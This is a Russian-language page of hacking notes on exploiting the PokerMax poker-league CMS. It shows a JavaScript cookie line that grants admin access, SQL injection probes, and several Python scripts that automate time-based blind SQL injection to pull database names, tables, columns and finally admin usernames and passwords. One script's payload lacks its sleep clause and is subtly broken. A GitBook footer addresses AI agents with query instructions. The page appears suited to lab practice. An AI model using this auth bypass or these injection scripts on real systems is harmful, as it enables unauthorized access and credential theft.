> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/pokermax-cms-exploitation.md).

# PokerMax

Заметки по эксплуатации PokerMax для обхода cookie администратора, тестирования SQL-инъекций в Burp Suite, автоматизации time-based blind SQLi, извлечения базы данных и дампа учётных данных.

**Поиск уязвимостей с помощью Searchsploit**

После обнаружения `pokermax` веб-страницы используйте Searchsploit для поиска потенциальных уязвимостей.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfa8dd99c112bd19350cf5b31ca09eb879f52a6%2Fimage%20(1893).png?alt=media" alt=""><figcaption></figcaption></figure>

**Обнаружение панели аутентификации администратора:**

Обнаружена панель аутентификации администратора. Фрагмент JavaScript в консоли изменяет `ValidUserAdmin` на `роль администратора`, что позволяет получить доступ к `configure.php` в pokeradmin.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-331ad57deb3fb08aed01a6c2d9371e6b2b74b26c%2Fimage%20(1894).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d2f5ba353bbef738165eabae7259dd8203f70d0%2Fimage%20(1895).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef69aeaa19df81d54f21ba9f73d56212a7aa6f98%2Fimage%20(1896).png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость SQL-инъекции

**Обнаружение уязвимости SQL-инъекции:**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bc2c15e7f7d12f5f73fe5a9ec21cdc1ae6cc865%2Fimage%20(1809).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Определите уязвимость SQL-инъекции в веб-приложении. Используйте [BurpSuite](/ru/hacking-tools/web/burpsuite.md) для перехвата трафика.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48351dcd75eaf1b528dc6ea36842b6250f226fd6%2Fimage%20(1810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Определение количества столбцов с помощью ORDER BY

```sql
admin' order by 7-- -
```

#### Попытка перечисления таблиц с помощью UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Использование SQL-инъекции на основе времени

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c687cd59cc2c127670531dd082cb355d0aee4298%2Fimage%20(1812).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имени базы данных

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начало атаки перебором")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a97dbc495f71845700cdaa1406749b62931b8c4d%2Fimage%20(1813).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения всех имен баз данных

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начало атаки перебором")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248f4a078757dc74c93570abe34113613bfe8043%2Fimage%20(1814).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имен таблиц

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начало атаки перебором")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6802b641b40952b4c1070116ee4db571cc6cf5a1%2Fimage%20(1815).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имен столбцов

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начало атаки перебором")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4aa697f83d3e152b7c7c3d1078995222d9b3d68e%2Fimage%20(1816).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения содержимого столбцов имени пользователя и пароля

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начало атаки перебором")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7bf2ac9effa9fad975be52df19051942bebbd07%2Fimage%20(1817).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
